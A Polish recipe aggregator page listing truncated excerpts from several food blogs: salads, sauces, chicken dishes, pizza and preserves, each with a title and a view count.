ciągu całego roku różne rzeczy żeby ją zapełnić - kilka różnych dżemów , konfitury , galaretki i powidła . Kiszę ogórki i kalafiora . Robię domowy ketchup , chutneje i zamykam w słoiki pomidory na sos czy zupę. Znajdziecie też jakieś sałatki warzywne , pikle no i oczywiście grzyby - różne gatunki w różnych odsłonach. Po przynajmniej kilka słoiczków z rodzaju tych letnich i jesiennych skarbów żeby zimą

Smaczna Pyza
Figi inaczej 179

miodu i umieszczamy je w żroodpornym naczyniu. Owoce polewamy likierem i posypujemy mielonym cynamonem. Pieczemy w temperaturze 180 C przez ok 20 minut. Upieczone figi polewamy powstałym podczas pieczenia sosem wymieszanym z jogurtem naturalnym

Zainspirowana w kuchni
Faszerowane papryki 224

minut aż bulion całkowicie się wchłonie. Papryki układamy w żaroodpornym naczyniu i wypełniamy farszem. Naczynie zalewamy szklanką bulionu. Pieczemy w 180 C przez 40 minut. W międzyczasie przygotowujemy sos: - 3 łyżki keczupu - 1 ząbek czosnku - 2 łyżki jogurtu naturalnego - 1/2 łyżki majonezu - 1/2 łyżki musztardy - garść posiekanej bazyli Wszystkie składniki mieszamy i podajemy razem z upieczonymi paprykami

Zainspirowana w kuchni
Cezarski dressing do sałatki 379

najsłynniejszej sałatki na świecie , czyli cezarskiej- dressing . Polecam Składniki: 250 ml majonezu 1 ząbek czosnku 2 łyżki cytryny 1 łyżeczka ostrej musztardy 1 łyżeczka sosu Worcestershire 1 łyżeczka pasty z anchowi sól, pieprz do smaku.   Wykonanie: Wszystkie składniki miksujemy do całkowitego połączenia. Doprawiamy do smaku. Gotowe. Smacznego

Smaki Edyty
Mielone cajun z tagliatelle 220

Wlewamy śmietane, szczypior I papryke, wsypujemy przyprawy. Trzymamy na ogniu od zagotowania ok 2 min . Gotowe. W międzyczasie gotujemy makaron-np tagliatelle. Makaron odcedzamy I mieszamy z połową sosu. ( Druga część na drugi dzień) :) Smacznego

Smaki Edyty
Sałatka makaronowa z tuńczykiem 444

Sałatka do pracy, jako przystawka, do grilla, kolację I nie tylko. Pyszna I sycąca. Prosta w wykonaniu , polecam :) Zaczynamy: Składniki: puszka tuńczyka w sosie własnym 2-3 ogórki małosolne- lub kiszone mała puszka kukurydzy 100-150 gr makaronu świderki 1-2 łyżki sera startego mozzarella sól, pieprz 2 łyżki oliwy z oliwek Wykonanie: Gotuje makaron według instrukcji

Smaki Edyty
C - Kurczak w papryce na zielonej wyspie 255

jogurt naturalny wymieszać z majonezem i drobno posiekanym szczypiorkiem, delikatnie podgrzać na małym ogniu (nie gotować). Miłośnicy czosnku mogą dodać drobno posiekany bądź wyciśnięty czosnek. Podając ryż polewamy jogurtowym sosem, obok wykładamy mięso z kolorową papryką

Apetyt na więcej - jadłodajnia dla duszy i ciała
C - Wędzony kurczak w winogronie i bukiecie sałat 235

wskroś subiektywną, postanowiłam dać sałatce szansę na Waszą ocenę:) Wędzony kurczak w winogronie i bukiecie sałat     Składniki: 2 udka wędzonego kurczaka kiść jasnych winogron mieszanka sałat sos: mały jogurt naturalny + 1 łyżka soku z cytryny+ 1 łyżeczka owocowego octu balsamicznego   Z kurczaka usunać skórę, pokroić w kostkę. Winogron umyć, oszuszyć, przekroić na połówki, usunąć pestki. Kurczaka

Apetyt na więcej - jadłodajnia dla duszy i ciała
C - Sałatka "Oddech chińskiego smoka" 403

solą i pieprzem, wrzucić na rozgrzaną patelnię z odrobiną oliwy i podsmażyć na rumiano, odstawić do przestudzenia. Majonez, musztardę i przeprawy z zupek chińskich (bez rosołków) połączyć razem, przygotowanym sosem zalać makaron z zupek i dokładnie wymieszać. Dodać posiekaną drobno kapustę pekińską, papryczki pokrojone w krążki i oczyszczone z nasion, ogórek w kostkę oraz posiekaną drobno czerwoną cebulę. Całość dokładnie

Apetyt na więcej - jadłodajnia dla duszy i ciała
Niebo w gębie czyli kalafiorowe chmury! 36355

szczypta soli olej do smażenia dip miętowy: - 200ml jogurtu naturalnego - 2 gałązki  mięty - szczypta cukru - szczypta soli - parę kropel cytryny (uwaga: kalafiorowe chmurki wspaniale smakują również z sosem czosnkowym:)   Składniki na zalewę zagotować, do wrzątku wkładać umytego i podzielonego na różyczki kalafiora, gotować około 15 minut (ma być lekko twardawy). Delikatnie odcedzić i lekko przestudzić. Białka

Apetyt na więcej - jadłodajnia dla duszy i ciała
Jarskie muszle czyli makaronowe muszle nadziewane tuńczykiem, duszonym porem i cukinią 278

trochę to trwało - już uzupełniam: 250 g makaronu duże muszle (użyłam Conchiglioni nr 55 z Lubelli) nadzienie: 1 średnia cukinia 1 średni por 2 puszki tuńczyka w sosie własnym 1 pomidor 1 łyżeczka przecieru pomidorowego sól, pieprz 2 łyżki oliwy z oliwek jogurtowy dressing: 1 kubeczek jogurtu naturalnego (150 g.) 2 łyżeczki soku z cytryny 1 łyżeczka oliwy

Apetyt na więcej - jadłodajnia dla duszy i ciała
MENU na spotkanie z przyjaciółmi; MENU na proszony obiad 189

mozzarellą i suszonymi pomidorami mała przerwa i czas na pyszną kawę serwowaną z: Włoskie tiramisu   Propozycja II   Zupa krem ze świeżego ogórka Sznycel wieprzowy z oscypkiem w sosie serowo-grzybowym  po małej przerwie czas na kawkę i:  Sernik z brzoskwinią Propozycja III Tajska zupa Roladki z kurczaka w cieście naleśnikowym   Mini torciki bezowe

Apetyt na więcej - jadłodajnia dla duszy i ciała
PRZEPISY MISTRZÓW: Gruszka w czekoladzie wg Magdy Gessler 262

czekolada się rozpuści, zdjąć z ognia, dodać alkohol. Uprażyć lekko płatki migdałowe na suchej patelni (uwaga - łatwo się przypalają;)  Postawić gruszkę w małej miseczce, polać ciepłym sosem, posypać migdałami. Podawać z lodami. Deser sprawdza się znakomicie! W kolejnych wersjach zastosowałam nieco zmodyfikowaną recepturę. Wydrążoną gruszkę nadziałam suszoną śliwką i ugotowałam ją w grzanym winie (aromatyczne wino typu grzaniec

Apetyt na więcej - jadłodajnia dla duszy i ciała
Roladki z bagietki - z cyklu: IMPREZOWE PRZEKĄSKI 1655

tuńczyka, serka i różnokolorowych papryk. Niby nic a cieszy. I oko i podniebienie:) Roladki z bagietki z tuńczykiem, serkiem i papryką Składniki: 1 długa bagietka 1 puszka tuńczyka w sosie własnym 1 serek śmietankowy (typu ziołowe Almette czy Piątnica) - ewentualnie twaróg 1/3 papryki czerwonej 1/3 papryki zielonej 1/3 papryki żółtej pieprz Bagietce odciąć końcówki a następnie podzielić

Apetyt na więcej - jadłodajnia dla duszy i ciała
Śledzie z rodzynkami / Herring with raisins 255

się zeszkli.  Następnie dodaj koncentrat pomidorowy i rodzynki, zamieszaj i duś razem jeszcze kilka minut mieszając.  Dopraw pieprzem oraz małą szczyptą soli. Śledzie połącz z przygotowanym, przestudzonym sosem i wstaw do lodówki, by całość się "przegryzła

Apetyt na więcej - jadłodajnia dla duszy i ciała
WIELKANOCNE MENU 193

marynowana pieczarką Deska serów Schab pod chrzanową pierzynką Indycze galaretki z chińszczyzną Rybka w brzoskwini Tort chlebowy Rolada drobiowa z wodnej kąpieli Szpinakowa rolada z łososiem Schab w wiosennym sosie Francuska karpatka Tort bezowy

Apetyt na więcej - jadłodajnia dla duszy i ciała
Kolorowe szaszłyczki 223

podwójna duża pierś z kurczaka 2 papryki (czerwona i żółta) 1 średnia cukinia 3-4 średnie cebule 12 pieczarek marynata do kurczaka: 7 łyżek soku z cytryny 2 łyżki sosu sojowego 1 łyżeczka musztardy delikatesowej 6 łyżek oleju rzepakowego 1 łyżka przyprawy do kurczaka z grilla Kamis Składniki marynaty dokładnie wymieszać.Kurczaka pokroić w dużą kostke i wrzucić do marynaty

Monia miesza i gotuje
Sałatka z wędzoną makrelą i ogórkiem małosolnym 259

sałacie układamy pokrojone w grubsze plasterki ogórki małosolne, jajka pokrojone w ćwiartki oraz kawałki wędzonej makerli. Jogurt ,majonez i musztardę dokładnie wymieszać z olejem i polać sałatkę. Jeśli sos będzie za gęsty dodać więcej oleju

Monia miesza i gotuje
Makaronowa sałatka z pomidorkami i serkiem sałatkowym 253

przelać wodą, osączyć i ułożyć na talerzu. Na makaronie ułożyć pokrojony ser oraz pomidorki. Olej wymieszać z sokiem z cytryny, natką pietruszki i przyprawić przyprawą do sałatek. Całość skropić sosem i udekorować bazylią

Monia miesza i gotuje
Sałatka z serkiem camembert, nektarynką i pomarańczą 235

małe kawałki, nektarynkę pokroić na ćwiartki a potem w plasterki, pomarańcze obrać z błonek i podzielić na cząstki. Wszystko ułożyć na sałacie, posypać rodzynkami i słonecznikiem. Skropić gotowym sosem

Monia miesza i gotuje
Prosta sałatka z tuńczykiem i pomidorem 491

składniki: 1 puszka tuńczyka w kawałkach w sosie własnym 1 duży pomidor 5-6 pomidorów suszonych z oleju 1 średnia cebula 1 łyżeczka kaparów 1 łyżeczka natka piertuszki sól morska do smaku Tuńczyka osączyć z zalewy i rozdrobnić widelcem na mniejsze kawałki. Pomidora i cebulę pokroić w drobną kostkę. Suszone pomidory również drobno pokroić. Wszystko dokładnie wymieszać, dodać natkę pietruszki

Monia miesza i gotuje
Roladki z tortilli z pastą z tuńczyka 318

placki więc postanowiłam je zużyć. Dodałam to co miałam pod ręką i wyszły takie małe smaczne kąski:) składniki: 4-5 tortilli użyłam wieloziarnistej 2 puszki tuńczyka w kawałkach w sosie własnym 1 duża papryka czerwona 1 cebula czerwona 2 łyżki posiekanego szczypiorku 4 łyżki majonezu Tuńczyka osączyć z zalewy i przełożyć do rozdrabniacza, dodać majonez i zmiksować. Masę przełożyc

Monia miesza i gotuje
Sałatka ze smażonymi boczniakami 234

garści szpinaku i trochę porwanej sałaty. Usmażone boczniaki pokroić w paski a pomidorki w ćwiartki i ułożyć na sałacie. Olej wymieszać z musztardą i przyprawą do sałatek. Gotowym sosem skropić sałatkę i podawać

Monia miesza i gotuje
Gulasz z maślakami 203

oleju. Wrzucić do garnka i zalać wodą. Dodać przyprawy i maślaki. Wszystko razem dusić na wolnym ogniu aż mięso będzie miękkie. Gdyby wywar za bardzo odparował podlać jeszcze wodą. Sos zagęścić mąką ryżową

Monia miesza i gotuje
Sałatka z wędzonym łososiem 346

masłową. Pomidorki pokroić w ćwiartki. Na sałacie ułożyć kawałeczki wędzonego łososia oraz pokrojone pomidorki. W słoiczku wymieszać olej z octem balsamicznym, doprawić do smaku solą z pieprzem. Gotowym sosem skropić sałatkę i podawać

Monia miesza i gotuje
Sałatka "moje smaki" 217

obrać i usunąć pestkę, pokroić na małe kawałki i również dodać do sałaty. Wszystkie składniki delikatnie przemieszać. Olej wymieszać w małym słoiczku z sokiem z cytryny i miodem. Gotowym sosem skropić sałatkę i znowu delikatnie wymieszać. Sałatkę wyłożyć na talerze. Orzechy włoskie uprażyć na suchej patelni i posiekać, posypać gotową sałatkę na talerzach

Monia miesza i gotuje
Tortilla z kurczakiem w towarzystwie owoców 229

placek zawinąć kawałki kurczaka i owoców. Ja tortille przed nadzianiem przekroiłam na pół, tak było wygodniej jeść i lepiej dało się je uchwycić na zdjęciu. Podawać z wcześniej przygotowanym sosem jogurtowym

Monia miesza i gotuje
Sałatka makaronowa z gorgonzolą 268

makaronie. Orzechy włoskie uprażyć na suchej patelni i również ułożyć na makaronie. Do słoiczka wlać olej i ocet balsamiczny, dodać sól z pieprzem do smaku. Dokładnie wymieszać. Gotowym sosem skropić sałatkę

Monia miesza i gotuje
Sałatka z jajkiem i tuńczykiem 416

podzielić na małe kawałki. Wszystkie przygotowane składniki rozłożyć na sałacie. Jogurt, olej, sok z cytryny, oregano, zmiażdżony ząbek czosnku i miód dokładnie wymieszać (ja miksuje w rozdrabniaczu). Gotowym sosem polać sałatkę i zajadać

Monia miesza i gotuje
Sałatka z jajkiem i wędzonym łososiem 609

rukolę, jajka pokrojone w ćwiartki i plastreki ogórka. Pomiędzy składnikami ułożyć łososia zwinętego w rulonik. Jogurt wymieszać z olejem koperkiem i sokiem z cytryny, do smaku doprawić solą czosnkową. Sosem polać sałatkę i podawać

Monia miesza i gotuje
Risotto pomidorowe 246

Następnie zeszklić cebulę wraz z czosnkiem. Dodać do tego pomidory w puszce. Całość poddusić 2-3 minuty. 4.        Do garnka przelać sos, dodać mięso. Zalać gorącą wodą. Dodać 2 kostki rosołowe. Gdy kostki się rozpuszczą, a wywar zagotuje, doprawić do smaku solą, pieprzem i bazylią, ewentualnie ostrą papryką

Fabryka pomysłów
Placuszki z kurczaka 267

pieprzu. Całość połączyć na jednolitą masę. Na rozgrzany na patelni olej nakładamy łyżką placuszki i spłaszczamy je. Smażymy na złoty kolor z obu stron. Podawać same lub z jakimś sosem. Smacznego

Fabryka pomysłów
Mięsno – warzywny Francuz 195

Opakowanie ciasta francuskiego (375g) 20 dag mięsa mielonego 1 mała papryka Mała puszka kukurydzy 15-18 dag pieczarek 1 cebula 0,5 łyżki ostrej papryki w proszku 2 łyżki sosu sojowego Olej Sól Pieprz Przygotowanie: Pieczarki pokroić drobno, paprykę i cebulę w kostkę. Na odrobinie oleju usmażyć mięso. Gdy zrobi się „szare” dodać do niego pieczarki i cebulę. Smażyć

Fabryka pomysłów
Kurczak w cieście kokosowym 578

można   w łatwy sposób odtworzyć w domu. Moja wersja jest bardzo podobna w smaku, jak i w wyglądzie do oryginału. Najlepszym dodatkiem do nich jest ryż oraz słodki sos chili. Wzorowałam się na przepisie ze strony chińskie przepisy . Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband

Fabryka pomysłów
Pierś z kurczaka w sezamie 336

względu na burzliwy okres z nauką.   Stąd dzisiejsza wersja to sposób na kotlety inaczej. Podaję je na różne sposoby: z frytkami i sałatką albo z ryżem i sosem słodko kwaśnym, z którym idealnie się komponują. Po prostu odkąd zrobiłam je pierwszy raz, weszły na stałe do mojego menu. Przepis pochodzi z Internetu, jednak nie pamiętam dokładnie źródła, gdyż robię

Fabryka pomysłów
Owocowy deser z bitą śmietaną 203

ułożyć na spodzie pucharków. Śmietankę ubić, pod koniec ubijania dodać cukier puder i dalej ubijać. Wyłożyć do pucharków Owoce pokroić wg uznania. Udekorować nimi górę. Na koniec deser polać sosem czekoladowym. Smacznego, Anulla

Fabryka pomysłów
Kurczak w porach z suszonymi pomidorami wg Pascala 339

zostało tego kurczaka jeszcze na drugi dzień, jako że było sporo płynu to zagęściłam go mąką ziemniaczaną,   uprzednio dodając odrobinę jogurtu naturalnego. I tak mi powstał pyszny sos. Smacznego, Anulla

Fabryka pomysłów
Sałatka meksykańska z kurczakiem 7350

udek oddzielić mięso od kości, pokroić na kawałki.   Kukurydzę i fasolkę odsączyć na sicie. Paprykę umyć, usunąć gniazdo nasienne, pokroić w kosteczkę. Wszystkie składniki wymieszać razem. Sos: Wymieszać majonez z keczupem, doprawić solą i pieprzem oraz przyprawą chili con carne. Polać sałatkę, dokładnie wymieszać, przykryć i włożyć do lodówki na kilka godzin celem „przegryzienia się”. Smacznego, Anulla

Fabryka pomysłów
Sałatka ziemniaczana 334

cebula Pół pęczka koperku 1 łyżka musztardy 1 łyżka śmietany 18% 2 łyżki majonezu Sól Pieprz Przygotowanie: Ziemniaki, ogórki i cebulę pokroić w kostkę, a koperek drobno posiekać. Sos: musztardę, śmietanę i majonez połączyć ze sobą. Posolić i popieprzyć do smaku. Wszystkie składniki wymieszać ze sobą. Sałatkę schłodzić w lodówce przed podaniem. Smacznego, Anulla

Fabryka pomysłów
Lutenica (ljutenica) 232

dusić jeszcze ok. 45 minut, żeby smaki i składniki się połączyły, uważając żeby nic się nie przypaliło. Ljutenica powinna być bardzo gęsta, tak żeby nie spływała z chleba. Wrzący sos nałożyć do wyparzonych słoiczków, zakręcić i odstawić do ostygnięcia do góry dnami. Można je także zapasteryzować ok. 20-30 minut, jeżeli zamierzamy je dłużej przechowywać, tak dla pewności. Lutenicę można

Fabryka pomysłów
Pieczeń z grzybami leśnymi 204

parę słów. To jest moje must have w grzybowym sezonie. Pieczeń z dodatkiem grzybów leśnych robi się szybko i nada się zarówno jako danie obiadowe polana sosem lub jako wędlina na kanapki do pracy lub szkoły. Mogłabym ją jeść bez końca. I mimo że nie znam się na grzybach, nie lubię na nie chodzić (byłam raz i nigdy więcej – jestem

Fabryka pomysłów
Sałatka z tuńczykiem i ryżem 690

drodze zawitać do piekarni w celu zakupu do niej świeżego pieczywa. Składniki: 2 torebki ugotowanego i ostudzonego ryżu puszka kukurydzy 4 średnie ogórki kiszone puszka tuńczyka w oleju lub sosie własnym (ja daję rozdrobnionego) Mała cebula sól pieprz 1-2 łyżki majonezu Przygotowanie: Do miski przełożyć ryż. Kukurydzę odcedzić, ogórki i cebulę pokroić w kostkę. Dodać do ryżu wraz tuńczykiem

Fabryka pomysłów
Pide 374

jego bliskim kuzynem jest włoska pizza. Można go przygotować na cienkim i grubym cieście, ale od wersji z Włoch różni się sposobem podania. Farsz do pide zawiera wymieszany sos z warzywami lub warzywami i mięsem.  Ponadto, ma on kształt łódki  lub okrągły w zależności od regionu. Podobnie jest z dodatkami, którymi jest ser, pomidory, kiełbasa, grzyby, mięso

Fabryka pomysłów
Rolsy z kurczakiem i warzywami 622

roli obiadu czy kolacji. Jednak w okresie karnawału myślę, że więcej chętnych będzie chciało je przygotować na domówki z przyjaciółmi:) Zapiekane kawałki tortilli także doskonale komponują się z sosami, np. czosnkowym, tysiąca wysp, a dodatki do niej  możecie dobrać wg uznania. Z kolei rolsy zamiast zapiekać można np. grillować. Składniki: 4 placki tortilli 450 g mrożonych warzyw (ewentualnie kukurydza

Fabryka pomysłów
Sałatka z surimi i selerem naciowym 480

ziołowy Wykonanie: Seler kroimy w plasterki, surimi w półokrągłe kawałeczki, cebulę w piórka. Wszystko razem mieszamy, dodajemy kukurydzę. Majonez, jogurt, musztardę mieszamy razem i doprawiamy solą i pieprzem. Dodajemy sos do pozostałych składników i dokładnie mieszamy. Odstawiamy do lodówki na godzinę do "przegryzienia". Smacznego

Czerwona Porzeczka
Roladki z kurczaka z greckim farszem 414

patelni na którym smażyliśmy roladki. Posypujemy oregano. Pieczemy pod przykryciem 10 minut w temperaturze 200 stopni, potem kolejne 10 minut bez przykrycia. Do tak przygotowanych roladek polecam  sos tzatziki

Czerwona Porzeczka
Kolorowa sałatka z makaronem i szynką 434

dente. Ser żółty,szynkę i ogórki kroimy w kostkę. Paprykę kroimy w paseczki. Wszystko wrzucamy razem do miski, dodajemy kukurydzę i mieszamy. Z majonezu, musztardy i jogurtu przygotowujemy sos, którym zalewamy pozostałe składniki, mieszamy dokładnie.  Doprawiamy do smaku solą i pieprzem.  Sałatkę chłodzimy w lodówce przez minimum godzinę

Czerwona Porzeczka
Sałtaka makaronowa z surimi 364

krabowe kroimy w półokrągłe kawałeczki, ogórka w kostkę, cebulę w piórka. Koperek drobno siekamy. Wszystko razem wrzucamy do miski, dodajemy kukurydzę i mieszamy. Z majonezu, jogurtu i musztardy przygotowujemy sos i zalewamy składniki. Mieszamy dokładnie i chłodzimy w lodówce około 1 godzinę. Polecam podawać z grzankami z masłem czosnkowym

Czerwona Porzeczka
Sałatka selerowa :) 933

Seler konserwowy odsączamy na sitku. Paprykę, seler naciowy i szynkę kroimy w kostkę. Wszystkie składniki mieszamy razem, dodajemy kukurydzę i posiekany szczypiorek. Z majonezu, musztardy i jogurtu naturalnego robimy sos i zalewamy składniki sałatki. Mieszamy wszystko razem i doprawiamy do smaku. Odstawiamy do lodówki do schłodzenia. Smacznego!:) Źródło--> Walijskie pichcenie

Czerwona Porzeczka
Roladki z tortilli 302

lodówki. Po wyjęciu kroimy na paski 1,5-2cm. Każdą mini-kanapkę przekłuwamy wykałaczką, a na wierzch nakładamy kostkę papryki lub żółtego sera. Można podawać z różnymi sosami. SMACZNEGO

Czerwona Porzeczka
Naleśniki z mięsnym farszem 239

naleśniki w wersji "niesłodkiej" kojarzyły mi się głównie z ciężkimi, tłustymi, panierowanymi krokietami. Aż do dzisiaj! :) Delikatne, puszyste ciasto, co najważniejsze nie zbyt tłuste i dodatek mięsa mielonego z sosem pomidorowym i warzywami okazał się strzałem w 10 :)  Zachęcam do spróbowania!:) Składniki: Naleśniki: 2 szklanki mleka 2% 2 jajka 1,5 szklanki mąki pszennej 2 łyżki masła łyżeczka ziół

Czerwona Porzeczka
Baklazan zapiekany z pomidorami 180

Ząbki czosnku oraz pokrojony miąższ z bakłażana wraz z pokrojonymi w Kostkę pomidorami. W misce dajemy nasz ser pokrojone kapary bułkę tarta pietruszkę przyprawy i dodajemy tez nasz przygotowany sos całość mieszamy . Połówki bakłażana wykładamy w naczyniu żaroodpornym. Wypełniamy je naszą masa i wkładamy do nagrzanego piekarnika 180 'C na 20 minut. Smacznego

cookpl
Sałatka z wędzonym łososiem 430

sałaty. Osuszoną rwiemy na małe kawałki i wrzucamy do miski. Opłukane pomidorki kroimy na połówki lub ćwiartki. Łososia kroimy na mniejsze części. Ugotowane jajka obieramy i kroimy na cztery. Sos przygotowujemy z połączenia jogurtu naturalnego i majonezu, ja używam w równej ilości obydwóch składników. Jeżeli chcecie bardziej light użyjcie więcej jogurtu. Dodajemy posiekany szczypiorek i przyprawiamy (nie solimy dużo

cookpl
Naleśniki z pomarańczami 199

użyłem tylko 4 plasterki, a z reszty pomarańczy wycisnąłem sok na patelnie dosypałem łyżkę cukru, gdy  powstał syrop dodałem plasterki owoców . Naleśniki składamy i polewamy je sosem dodajemy plasterki pomarańczy do dekoracji. Smacznego PS. Wasze komentarze Motywują nas do większej pracy nad naszym blogiem, dlatego zachęcamy was do włączenia się w życie naszego bloga. Piszcie swoje przemyślenia, opinie

cookpl
Twórcza niedziela 167

powiedzonko, że niedzielna praca się nie opłaca :) ale nie u mnie w domu. Wczoraj każdy domownik pracował twórczo: ja w kuchni i przy maszynie (na zdjęciu wykwintna rolada w sosie pomarańczowym), córka przy swoim stoliczku rysowała tylko dla siebie zrozumiałe malunki, syn budował z lego, a mąż asystował mi w kuchni i zainspirował mnie to tego dania. Przepis znajdziecie

Delicious Titbits
Gulasz wieprzowy z pieca 236

imbir. Po zagotowaniu gulasz zamykamy i wkładamy do pieca na 1 godzinę. Pieczemy w  temperaturze 180 ° C. Po tym czasie  dodajemy śmietankę i jeszcze chwilę gotujemy, aż sos zgęstnieje. Podawać z dowolnymi dodatkami. Ja użyłam kaszy kuskus i kiełki brokuła. Smacznego

Delicious Titbits
Stek z rostbefu wołowego z szalotkami w czerwonym winie 197

piekarniku w temperaturze 200 ° C przez około 5 minut, najlepiej tuż przed podaniem, a w ostatniej minucie tego wygrzewania na steku kładziemy gałązkę rozmarynu. Stek przyozdabiamy szalotkami, skrapiamy sosem i podajemy z kotlecikami ziemniaczanymi. Można jeszcze położyć na steku odrobinę masełka ziołowego :) (masełko + suszone ziółka typu tymianek czy bazylia i przyprawy sól, pieprz, ostra papryka, wg uznania

Delicious Titbits
Co za pieprzowa robota :) 148

sobie o bajce o Kopciuszku... i zakupiłam pakiecik kolorowego, a i chętny kopciuszek też się znalazł :) Posegregował różnokolorowe ziarenka i teraz już mam biały pieprz do ryb, zielony do sosów, marynat i wołowych steków męża oraz czerwony (różowy) o szczególnych walorach dekoracyjnych :) mam nadzieję, że wkrótce pojawi się na moim blogu coś, w czym ten ostatni będzie głównym bohaterem

Delicious Titbits
Filet z kurczaka "Trzy kolory" 225

pierś z kurczaka, 1 duży por, 8-10 pomidorów suszonych w oleju, 3 łyżki oleju z suszonych pomidorów (do smażenia), do smaku przyprawy: sól, pieprz, czerwona papryka, do sosu: 200 ml śmietanki 30%, 1/2 łyżeczki koncentratu pomidorowego. Filet z kurczaka kroimy w kostkę i przyprawiamy. Por kroimy w plastry, podsmażamy na oleju, którym były pomidory i podduszamy, po czym dodajemy

Delicious Titbits
Kopytka 158

Znowu wspomnienie z dzieciństwa, klasyczne kopytka :) Przepis banalnie prosty, ale najważniejsze jest to, żeby ziemniaki były dobrze odparowane i dopiero potem przeciśnięte przez praskę. Uwielbiam jeść kopytka z różnymi sosami :) Składniki: 70 dag ugotowanych ziemniaków, 2 szklanki mąki pszennej, 1 lub 2 łyżki mąki ziemniaczanej, 1 jajko, Wszystkie składniki zagniatamy ze sobą. Formujemy wałeczek i kroimy ukośnie na kawałki

Delicious Titbits
Nuggetsy z kurczaka (Chicken nuggets) 875

wstawiamy do lodówki na 30 minut. W międzyczasie płatki rozdrabniamy w robocie kuchennym lub wkładamy do foliowego woreczka i rozdrabiamy wałkiem. Kawałki kurczaka obtaczamy w płatkach starając się, aby sos w którym się marynowały, pozostał na nich i smażymy na rumiano. Po usmażeniu odsączamy z nadmiaru tłuszczu na papierowym ręczniku. Już! Gotowe :) Można powiedzieć błysk :) Normal 0 21 MicrosoftInternetExplorer4 Ingredients

Delicious Titbits
Pałki z kurczaka pieczone z jabłkami i curry 264

przestawiamy propozycję dla leniwych smakoszy. Nie ma szans, by się przepracować, a efekt jest, że... palce lizać. To danie praktycznie przyrządza się samo :) a najbardziej lubimy ten przepyszny jabłkowy sos, który jest tak smakowity..., że talerze mówiąc wprost do sucha... :) Składniki 80 dag pałek z kurczaka, 50 dag jabłek, 1 łyżka miodu, 3 ząbki czosnku, 3 łyżki oliwy, 1 łyżka

Delicious Titbits
Zapiekanka z kaszy jęczmiennej 285

podsmażonych pieczarek. Dodaj pomidory z puszki. Dopraw tymiankiem, oregano i słodką papryką. Duś chwilę. Na koniec dodaj kaszę manną Kaszę  odcedź i przesyp do dużej miski, dodaj sos i starty ser żółty. Wszystko dobrze wymieszaj i przełóż do naczynia żaroodpornego, piecz 30 min w 180 stopniach. Smacznego, Anulla

Fabryka pomysłów
Domowa pizza: ciasto na pizze jak z pizzerii 5993

Post Domowa pizza: ciasto na pizze jak z pizzerii pojawił się poraz pierwszy w KulinarnePrzeboje.pl .

Kulinarne Przeboje
Jajka – ile kcal? jak kupować? ile gotować? jakie potrawy z jajek? 214

także finezyjne potrawy, które ucieszą oko i kubki smakowe niejednego z nas.   Dania z jajkiem Kolorowe jajka z majonezem i kiełkami Sałatka z brokułami, pomidorami, jajkami (z sosem czosnkowym) Wielkanocna sałatka z łososiem, jajkiem i kiełkami rzodkiewki Pasta jajeczna z tuńczykiem Pasta jajeczna ze szczypiorkiem Jajka zapiekane w cieście francuskim – pomysłowe Post Jajka – ile kcal? jak kupować

Kulinarne Przeboje
Naleśniki z pieczarkami 196

Post Naleśniki z pieczarkami pojawił się poraz pierwszy w KulinarnePrzeboje.pl .

Kulinarne Przeboje
Szparagi w cieście francuskim z sezamem 218

Post Szparagi w cieście francuskim z sezamem pojawił się poraz pierwszy w KulinarnePrzeboje.pl .

Kulinarne Przeboje
Słodko-pikantna surówka z kapusty pekińskiej 216

Post Słodko-pikantna surówka z kapusty pekińskiej pojawił się poraz pierwszy w KulinarnePrzeboje.pl .

Kulinarne Przeboje
Pizza Margherita 207

Małgorzaty Sabaudzkiej i należy ona do najprostszych pizz. Poza tym pizza ta zasługuje na miano – tani obiad ;-) Koszt przygotowania dwóch 30cm pizz, to niecałe 10zł ;-) Składniki Składniki na sos pomidorowy Pomidory w puszce 1 puszka Oliwa […] The post Pizza Margherita appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Pizza capriciosa 1017

Drożdże 40g Sól 1 łyżeczka Bazylia 1-2 łyżeczki Oregano 1-2 łyżeczki Woda 1 szklanka (250 ml ; temp 40-50C) Oliwa z oliwek 3 łyżeczki Składniki na sos do pizzy Pomidory w puszce 1 puszka Oliwa z oliwek 2 […] The post Pizza capriciosa appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Sałatka z indykiem i pomarańczą 222

Post Sałatka z indykiem i pomarańczą pojawił się poraz pierwszy w KulinarnePrzeboje.pl .

Kulinarne Przeboje